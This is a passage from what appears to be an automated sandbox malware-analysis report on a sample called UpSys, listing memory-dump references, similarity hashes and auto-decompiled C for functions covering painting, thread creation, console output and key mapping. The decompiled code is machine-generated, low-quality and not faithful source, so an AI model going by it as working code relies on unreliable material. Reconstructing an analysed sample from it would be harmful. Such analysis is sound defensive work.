                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$Item$CountMessagePostStringWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3481743490-0
                                                                                                                                                                                                        • Opcode ID: f2a0383e0468958c0f9337a77b92d4da9e8c8c04fa9d0852d6c4e3fd1d2a2803
                                                                                                                                                                                                        • Instruction ID: 287bc9844b39be22414d711e69326d932e3774095ee5a885efe9b7d69af2f582
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f2a0383e0468958c0f9337a77b92d4da9e8c8c04fa9d0852d6c4e3fd1d2a2803
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9251A173314A8086EA56DF57A840BEEA7A0F78DBC4F144421BF8A577A6DE78C6858700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001E338 Relevance: 9.1, APIs: 6, Instructions: 122COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 64%
                                                                                                                                                                                                        			E0000000114001E338(void* __ecx, void* __edx, void* __ebp, void* __esp, void* __eflags, long long __rbx, void* __rcx, long long __rdi, long long __rsi, void* __rbp, void* __r8, void* __r10, void* __r11, long long __r12, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed int _v24;
				void* _t46;
				signed int _t49;
				char _t55;
				void* _t64;
				void* _t69;
				signed int _t78;
				long long _t89;
				intOrPtr* _t90;
				long long _t93;
				void* _t95;
				long long _t102;
				long long _t109;
				long long _t112;
				void* _t118;
				void* _t124;

				_t118 = __r11;
				_t95 = __rcx;
				_t64 = __edx;
				_t58 = __ecx;
				_t89 = _t112;
				 *((long long*)(_t89 + 8)) = __rbx;
				 *((long long*)(_t89 + 0x10)) = __rsi;
				 *((long long*)(_t89 + 0x18)) = __rdi;
				 *((long long*)(_t89 + 0x20)) = __r12;
				_t69 = __ecx;
				r13d = r13d | 0xffffffff;
				E0000000114001D6F0(__ecx, __eflags, _t89);
				_t109 = _t89;
				E0000000114001DF74(_t58, __eflags, _t89, __rbx, _t124);
				_t46 = E0000000114001E030(_t69, __eflags, _t89);
				r12d = _t46;
				if (_t46 ==  *((intOrPtr*)( *((intOrPtr*)(_t109 + 0xb8)) + 4))) goto 0x4001e50d;
				E0000000114001D910(__ebp, _t89,  *((intOrPtr*)(_t109 + 0xb8)), _t95, _t109, __rbp);
				_t93 = _t89;
				if (_t89 == __rdi) goto 0x4001e512;
				r8d = 0x220;
				E00000001140016710(0x220, _t89 - __rdi, _t89,  *((intOrPtr*)(_t109 + 0xb8)), __r8);
				 *_t93 = 0;
				_t49 = E0000000114001E0C0(r12d, _t64, __esp, _t89 - __rdi, _t93, _t93, __r8, __r10, _t118);
				r13d = _t49;
				_t78 = _t49;
				if (_t78 != 0) goto 0x4001e4e7;
				asm("lock add dword [ecx], 0xffffffff");
				if (_t78 != 0) goto 0x4001e3ea;
				if ( *((intOrPtr*)(_t109 + 0xb8)) == 0x400ad480) goto 0x4001e3f1;
				free(??);
				goto 0x4001e3f1;
				 *((long long*)(_t109 + 0xb8)) = _t93;
				asm("lock add dword [ebx], 0x1");
				if (( *(_t109 + 0xc8) & 0x00000002) != 0) goto 0x4001e512;
				if (( *0x400ad9b8 & 0x00000001) != 0) goto 0x4001e512;
				E0000000114001F1BC();
				 *0x400b4574 =  *((intOrPtr*)(_t93 + 4));
				 *0x400b4578 =  *((intOrPtr*)(_t93 + 8));
				 *0x400b457c =  *((intOrPtr*)(_t93 + 0xc));
				_v24 = 0;
				if (0 - 5 >= 0) goto 0x4001e467;
				 *0x1400B4568 =  *(_t93 + 0x10) & 0x0000ffff;
				_v24 = 1;
				goto 0x4001e449;
				_v24 = 0;
				if (0 - 0x101 >= 0) goto 0x4001e48c;
				 *0x1400AD6A0 =  *((intOrPtr*)(0 + _t93 + 0x1c));
				_v24 = 1;
				goto 0x4001e46d;
				_v24 = 0;
				if (0 - 0x100 >= 0) goto 0x4001e4b2;
				_t55 =  *((intOrPtr*)(0 + _t93 + 0x11d));
				 *0x1400AD7B0 = _t55;
				_v24 = 1;
				goto 0x4001e490;
				_t90 =  *0x400ad8b0; // 0x3263ae0
				asm("lock add dword [eax], 0xffffffff");
				if (0 != 0x100) goto 0x4001e4d0;
				_t102 =  *0x400ad8b0; // 0x3263ae0
				if (_t102 == 0x400ad480) goto 0x4001e4d0;
				free(??);
				 *0x400ad8b0 = _t93;
				asm("lock add dword [ebx], 0x1");
				E0000000114001F0BC();
				goto 0x4001e512;
				if (_t55 != 0xffffffff) goto 0x4001e512;
				if (_t93 == 0x400ad480) goto 0x4001e500;
				free(??);
				E0000000114001EAE4(_t93 - 0x400ad480, _t90);
				 *_t90 = 0x16;
				goto 0x4001e512;
				r13d = 0;
				return r13d;
			}



















                                                                                                                                                                                                        0x14001e338
                                                                                                                                                                                                        0x14001e338
                                                                                                                                                                                                        0x14001e338
                                                                                                                                                                                                        0x14001e338
                                                                                                                                                                                                        0x14001e338
                                                                                                                                                                                                        0x14001e33b
                                                                                                                                                                                                        0x14001e33f
                                                                                                                                                                                                        0x14001e343
                                                                                                                                                                                                        0x14001e347
                                                                                                                                                                                                        0x14001e351
                                                                                                                                                                                                        0x14001e353
                                                                                                                                                                                                        0x14001e357
                                                                                                                                                                                                        0x14001e35c
                                                                                                                                                                                                        0x14001e35f
                                                                                                                                                                                                        0x14001e36d
                                                                                                                                                                                                        0x14001e372
                                                                                                                                                                                                        0x14001e378
                                                                                                                                                                                                        0x14001e383
                                                                                                                                                                                                        0x14001e388
                                                                                                                                                                                                        0x14001e390
                                                                                                                                                                                                        0x14001e3a0
                                                                                                                                                                                                        0x14001e3a6
                                                                                                                                                                                                        0x14001e3ab
                                                                                                                                                                                                        0x14001e3b3
                                                                                                                                                                                                        0x14001e3b8
                                                                                                                                                                                                        0x14001e3bb
                                                                                                                                                                                                        0x14001e3bd
                                                                                                                                                                                                        0x14001e3ca
                                                                                                                                                                                                        0x14001e3ce
                                                                                                                                                                                                        0x14001e3e1
                                                                                                                                                                                                        0x14001e3e3
                                                                                                                                                                                                        0x14001e3e8
                                                                                                                                                                                                        0x14001e3f1
                                                                                                                                                                                                        0x14001e3f8
                                                                                                                                                                                                        0x14001e403
                                                                                                                                                                                                        0x14001e410
                                                                                                                                                                                                        0x14001e41b
                                                                                                                                                                                                        0x14001e424
                                                                                                                                                                                                        0x14001e42d
                                                                                                                                                                                                        0x14001e436
                                                                                                                                                                                                        0x14001e43e
                                                                                                                                                                                                        0x14001e44c
                                                                                                                                                                                                        0x14001e456
                                                                                                                                                                                                        0x14001e461
                                                                                                                                                                                                        0x14001e465
                                                                                                                                                                                                        0x14001e469
                                                                                                                                                                                                        0x14001e473
                                                                                                                                                                                                        0x14001e47c
                                                                                                                                                                                                        0x14001e486
                                                                                                                                                                                                        0x14001e48a
                                                                                                                                                                                                        0x14001e48c
                                                                                                                                                                                                        0x14001e496
                                                                                                                                                                                                        0x14001e49b
                                                                                                                                                                                                        0x14001e4a2
                                                                                                                                                                                                        0x14001e4ac
                                                                                                                                                                                                        0x14001e4b0
                                                                                                                                                                                                        0x14001e4b2
                                                                                                                                                                                                        0x14001e4b9
                                                                                                                                                                                                        0x14001e4bd
                                                                                                                                                                                                        0x14001e4bf
                                                                                                                                                                                                        0x14001e4c9
                                                                                                                                                                                                        0x14001e4cb
                                                                                                                                                                                                        0x14001e4d0
                                                                                                                                                                                                        0x14001e4d7
                                                                                                                                                                                                        0x14001e4e0
                                                                                                                                                                                                        0x14001e4e5
                                                                                                                                                                                                        0x14001e4ea
                                                                                                                                                                                                        0x14001e4f6
                                                                                                                                                                                                        0x14001e4fb
                                                                                                                                                                                                        0x14001e500
                                                                                                                                                                                                        0x14001e505
                                                                                                                                                                                                        0x14001e50b
                                                                                                                                                                                                        0x14001e50f
                                                                                                                                                                                                        0x14001e52f

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$_errno_getptd$ErrorLastPrivilegeReleaseSleep_lockmalloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1000119244-0
                                                                                                                                                                                                        • Opcode ID: 73002d584c2cb6ed7125926793e4085ac52c9c6d00feea6d5ba041ff32a2bebd
                                                                                                                                                                                                        • Instruction ID: f4ba6414b4b17178a3bce54f9bde08df049c01147d24778c924a8753989ea068
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 73002d584c2cb6ed7125926793e4085ac52c9c6d00feea6d5ba041ff32a2bebd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CC519E36200A8087E7569B27A4403EDB7A1F79DBD8F144216FB9A4B3B6DF7AC841D700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400551E0 Relevance: 9.1, APIs: 6, Instructions: 109COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 17%
                                                                                                                                                                                                        			E000000011400551E0(void* __ecx, void* __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rbp, long long _a8, short _a12, long long _a16, long long _a24) {
				void* _v24;
				void* _v104;
				short _v116;
				intOrPtr _v120;
				intOrPtr _v128;
				signed int _v136;
				void* __rdi;
				void* __rsi;
				void* _t38;
				signed int _t39;
				void* _t50;
				short _t52;
				intOrPtr _t70;
				intOrPtr _t78;
				intOrPtr* _t100;
				intOrPtr _t102;
				intOrPtr _t112;
				intOrPtr _t113;

				_t71 = __rbx;
				_a16 = __rbx;
				_a24 = __rbp;
				_a8 = __rcx;
				_t39 = E0000000114003DD90(_t38, __rax, __rbx, 0x400c6a00, __rdx);
				_t70 =  *0x400c6aa0; // 0x0
				_t102 =  *((intOrPtr*)( *((intOrPtr*)(_t70 + _t39 * 8))));
				_t100 =  *((intOrPtr*)(_t102 + 0x2f0));
				BeginPaint(??, ??);
				_t104 = _t70;
				goto 0x40055390;
				_t78 =  *((intOrPtr*)(_t100 + 0x10));
				if (( *(_t78 + 0xf6) & 0x00000010) == 0) goto 0x4005524d;
				if ( *(_t78 + 0xf7) == 0xff) goto 0x40055260;
				if (( *(_t78 + 0xf7) & 0x000000ff) !=  *((intOrPtr*)(_t102 + 0x29c))) goto 0x4005538d;
				 *0x400c6b38 =  *0x400c6b38 & 0x00000000;
				 *0x400c6b30 =  *0x400c6b30 & 0x00000000;
				 *0x400c6b48 =  *0x400c6b48 | 0xffffffff;
				 *0x400c6b4c =  *0x400c6b4c | 0xffffffff;
				 *0x400c6b40 = 0;
				 *0x400c6b44 = 1;
				GetWindowRect(??, ??);
				r11d = _v120;
				_a8 = r11d;
				_a12 = _v116;
				ScreenToClient(??, ??);
				r8d = _a12;
				r9d = 0;
				SetViewportOrgEx(??, ??, ??, ??);
				_t112 =  *((intOrPtr*)(_t100 + 0x10));
				_t52 =  *((intOrPtr*)(_t112 + 0x88));
				r8d =  *((intOrPtr*)(_t112 + 0x8c));
				if (_t52 < 0) goto 0x40055304;
				if (r8d != 0xffffffff) goto 0x4005530e;
				r8d = _t52;
				if (r8d != 0xffffffff) goto 0x4005530e;
				if (_t52 < 0) goto 0x4005535d;
				r9d = _t52;
				_v128 = 1;
				_v136 = _v136 & 0x00000000;
				E00000001140054440(_t71, _t70, _t100, _t102, _t70);
				_t113 =  *((intOrPtr*)(_t100 + 0x10));
				r8d = 0;
				r9d =  *((short*)(_t113 + 0xf0));
				_v136 =  *((short*)(_t113 + 0xf2));
				Rectangle(??, ??, ??, ??, ??);
				r8d = _t52;
				E0000000114003CBF0(_t71, _t70);
				_t50 = E000000011400546D0(0, _t71, _t104, _t100);
				E00000001140054C10();
				if (_t50 == 0) goto 0x4005538d;
				E00000001140054A40();
				if ( *_t100 != 0) goto 0x40055237;
				return EndPaint(??, ??);
			}





















                                                                                                                                                                                                        0x1400551e0
                                                                                                                                                                                                        0x1400551e0
                                                                                                                                                                                                        0x1400551e5
                                                                                                                                                                                                        0x1400551ea
                                                                                                                                                                                                        0x140055204
                                                                                                                                                                                                        0x140055211
                                                                                                                                                                                                        0x14005521c
                                                                                                                                                                                                        0x140055222
                                                                                                                                                                                                        0x140055229
                                                                                                                                                                                                        0x14005522f
                                                                                                                                                                                                        0x140055232
                                                                                                                                                                                                        0x140055237
                                                                                                                                                                                                        0x140055242
                                                                                                                                                                                                        0x14005524b
                                                                                                                                                                                                        0x14005525a
                                                                                                                                                                                                        0x140055260
                                                                                                                                                                                                        0x140055268
                                                                                                                                                                                                        0x140055270
                                                                                                                                                                                                        0x140055277
                                                                                                                                                                                                        0x14005527e
                                                                                                                                                                                                        0x140055285
                                                                                                                                                                                                        0x14005529b
                                                                                                                                                                                                        0x1400552a1
                                                                                                                                                                                                        0x1400552b5
                                                                                                                                                                                                        0x1400552bd
                                                                                                                                                                                                        0x1400552c4
                                                                                                                                                                                                        0x1400552ca
                                                                                                                                                                                                        0x1400552d9
                                                                                                                                                                                                        0x1400552df
                                                                                                                                                                                                        0x1400552e5
                                                                                                                                                                                                        0x1400552e9
                                                                                                                                                                                                        0x1400552f0
                                                                                                                                                                                                        0x1400552f9
                                                                                                                                                                                                        0x1400552ff
                                                                                                                                                                                                        0x140055301
                                                                                                                                                                                                        0x140055308
                                                                                                                                                                                                        0x14005530c
                                                                                                                                                                                                        0x14005530e
                                                                                                                                                                                                        0x140055317
                                                                                                                                                                                                        0x14005531f
                                                                                                                                                                                                        0x140055324
                                                                                                                                                                                                        0x140055329
                                                                                                                                                                                                        0x14005532d
                                                                                                                                                                                                        0x14005533a
                                                                                                                                                                                                        0x140055345
                                                                                                                                                                                                        0x140055349
                                                                                                                                                                                                        0x14005534f
                                                                                                                                                                                                        0x140055358
                                                                                                                                                                                                        0x140055366
                                                                                                                                                                                                        0x140055376
                                                                                                                                                                                                        0x14005537d
                                                                                                                                                                                                        0x140055388
                                                                                                                                                                                                        0x140055393
                                                                                                                                                                                                        0x1400553be

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2592858361-0
                                                                                                                                                                                                        • Opcode ID: dcf65f899570e1696d6d0aa9ce96012d8737e52d33fa2897581dda65942ee901
                                                                                                                                                                                                        • Instruction ID: 16495d9402333cd40ea0f2bdf3db772dccaa1b07189eafe1f05c9ac76705e7cc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dcf65f899570e1696d6d0aa9ce96012d8737e52d33fa2897581dda65942ee901
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0F51CB32204B818AEB26DF23E4587EA7760F388BD4F504125EF6947BB5CF79C9408B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001A060 Relevance: 9.1, APIs: 6, Instructions: 68threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E0000000114001A060(void* __edx, signed int __rbx, long long __rcx, long long __rdi, long long __rsi, long long __rbp, long long __r8, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				signed int _v24;
				long long _t41;
				void* _t49;
				long long _t53;
				long long _t56;
				long long _t59;
				long long _t61;
				void* _t67;

				_t46 = __rcx;
				_t43 = __rbx;
				_t41 = _t61;
				 *((long long*)(_t41 + 8)) = __rbx;
				 *((long long*)(_t41 + 0x10)) = __rbp;
				 *((long long*)(_t41 + 0x18)) = __rsi;
				 *((long long*)(_t41 + 0x20)) = __rdi;
				_t59 = __r8;
				r12d = __edx;
				_t56 = __rcx;
				if (__rcx != 0) goto 0x4001a0ad;
				E0000000114001EAE4(__rcx, _t41);
				_v24 = _v24 & __rbx;
				r9d = 0;
				r8d = 0;
				 *_t41 = 0x16;
				E0000000114001EA14(_t41, __rbx, __rcx, _t49, __rcx, __r8, __r8);
				goto 0x4001a134;
				E0000000114001D584();
				E0000000114001D97C(_t43, _t46, _t49, __rdi, _t56, _t59);
				_t53 = _t41;
				if (_t41 == 0) goto 0x4001a121;
				E0000000114001D6F0(1, _t41, _t41);
				E0000000114001D5B8(_t43, _t53,  *((intOrPtr*)(_t41 + 0xc0)));
				_v16 = _t53;
				 *((long long*)(_t53 + 0x90)) = _t56;
				 *((long long*)(_t53 + 0x98)) = _t59;
				_v24 = 4;
				CreateThread(??, ??, ??, ??, ??, ??);
				 *((long long*)(_t53 + 8)) = _t41;
				if (_t41 != 0) goto 0x4001a153;
				GetLastError();
				free(_t67);
				if (_t25 == 0) goto 0x4001a134;
				return E0000000114001EB24(_t25, _t25, _t41, 0x140019fc8);
			}












                                                                                                                                                                                                        0x14001a060
                                                                                                                                                                                                        0x14001a060
                                                                                                                                                                                                        0x14001a060
                                                                                                                                                                                                        0x14001a063
                                                                                                                                                                                                        0x14001a067
                                                                                                                                                                                                        0x14001a06b
                                                                                                                                                                                                        0x14001a06f
                                                                                                                                                                                                        0x14001a07b
                                                                                                                                                                                                        0x14001a07e
                                                                                                                                                                                                        0x14001a081
                                                                                                                                                                                                        0x14001a087
                                                                                                                                                                                                        0x14001a089
                                                                                                                                                                                                        0x14001a08e
                                                                                                                                                                                                        0x14001a093
                                                                                                                                                                                                        0x14001a096
                                                                                                                                                                                                        0x14001a09d
                                                                                                                                                                                                        0x14001a0a3
                                                                                                                                                                                                        0x14001a0a8
                                                                                                                                                                                                        0x14001a0ad
                                                                                                                                                                                                        0x14001a0bc
                                                                                                                                                                                                        0x14001a0c1
                                                                                                                                                                                                        0x14001a0c7
                                                                                                                                                                                                        0x14001a0c9
                                                                                                                                                                                                        0x14001a0d8
                                                                                                                                                                                                        0x14001a0ec
                                                                                                                                                                                                        0x14001a0f1
                                                                                                                                                                                                        0x14001a0f8
                                                                                                                                                                                                        0x14001a0ff
                                                                                                                                                                                                        0x14001a107
                                                                                                                                                                                                        0x14001a110
                                                                                                                                                                                                        0x14001a117
                                                                                                                                                                                                        0x14001a11f
                                                                                                                                                                                                        0x14001a124
                                                                                                                                                                                                        0x14001a12b
                                                                                                                                                                                                        0x14001a152

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$CreateDecodeErrorLastPointerResume_errno_getptdfree
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4249098642-0
                                                                                                                                                                                                        • Opcode ID: eb3f6ffb80e19fced8967c4fb510c64fa9aef59c20726c756d06f1d5b6680120
                                                                                                                                                                                                        • Instruction ID: cc6ed1d9421a31f030ab5f66468f9f9336ce49746bfc41ec45c128ad44e36f9c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eb3f6ffb80e19fced8967c4fb510c64fa9aef59c20726c756d06f1d5b6680120
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 26219032200B8086EB16ABA7A5517DD72A1BB8DBE0F544229FF5D4BBE2DF3DD4118700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002C788 Relevance: 9.1, APIs: 6, Instructions: 58COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide__initconout
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2210154019-0
                                                                                                                                                                                                        • Opcode ID: 3785572f3e017c6a3da7d5c64313800f5f224914f83673c5116046a01d9cc3f2
                                                                                                                                                                                                        • Instruction ID: 30a9edd45a9d8256d09fc785e3f9713f1f7e4370c2054c1e0342f4ca3c4e75f9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3785572f3e017c6a3da7d5c64313800f5f224914f83673c5116046a01d9cc3f2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 20314B36624A8182FB62DB22E44479A63A1F7997B5F904309F76907AF4DF7CC848CF00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400157F0 Relevance: 9.0, APIs: 6, Instructions: 48keyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(?,?,4004F28000000828,00000001400157DE,?,?,?,0000000140010AE5), ref: 0000000140015852
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(?,?,4004F28000000828,00000001400157DE,?,?,?,0000000140010AE5), ref: 0000000140015860
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(?,?,4004F28000000828,00000001400157DE,?,?,?,0000000140010AE5), ref: 0000000140015870
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(?,?,4004F28000000828,00000001400157DE,?,?,?,0000000140010AE5), ref: 0000000140015880
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(?,?,4004F28000000828,00000001400157DE,?,?,?,0000000140010AE5), ref: 000000014001588E
                                                                                                                                                                                                        • MapVirtualKeyW.USER32(?,?,4004F28000000828,00000001400157DE,?,?,?,0000000140010AE5), ref: 000000014001589C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Virtual
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 4278518827-0
                                                                                                                                                                                                        • Opcode ID: cb13f70e15835dc2877dd0d2affdfb211ee3dff120e39d7b5959ae985f9dd155
                                                                                                                                                                                                        • Instruction ID: 2653861514bd11433f4e3be44b92f6a8bd7189279cdab740fbec3c029a1d38bb
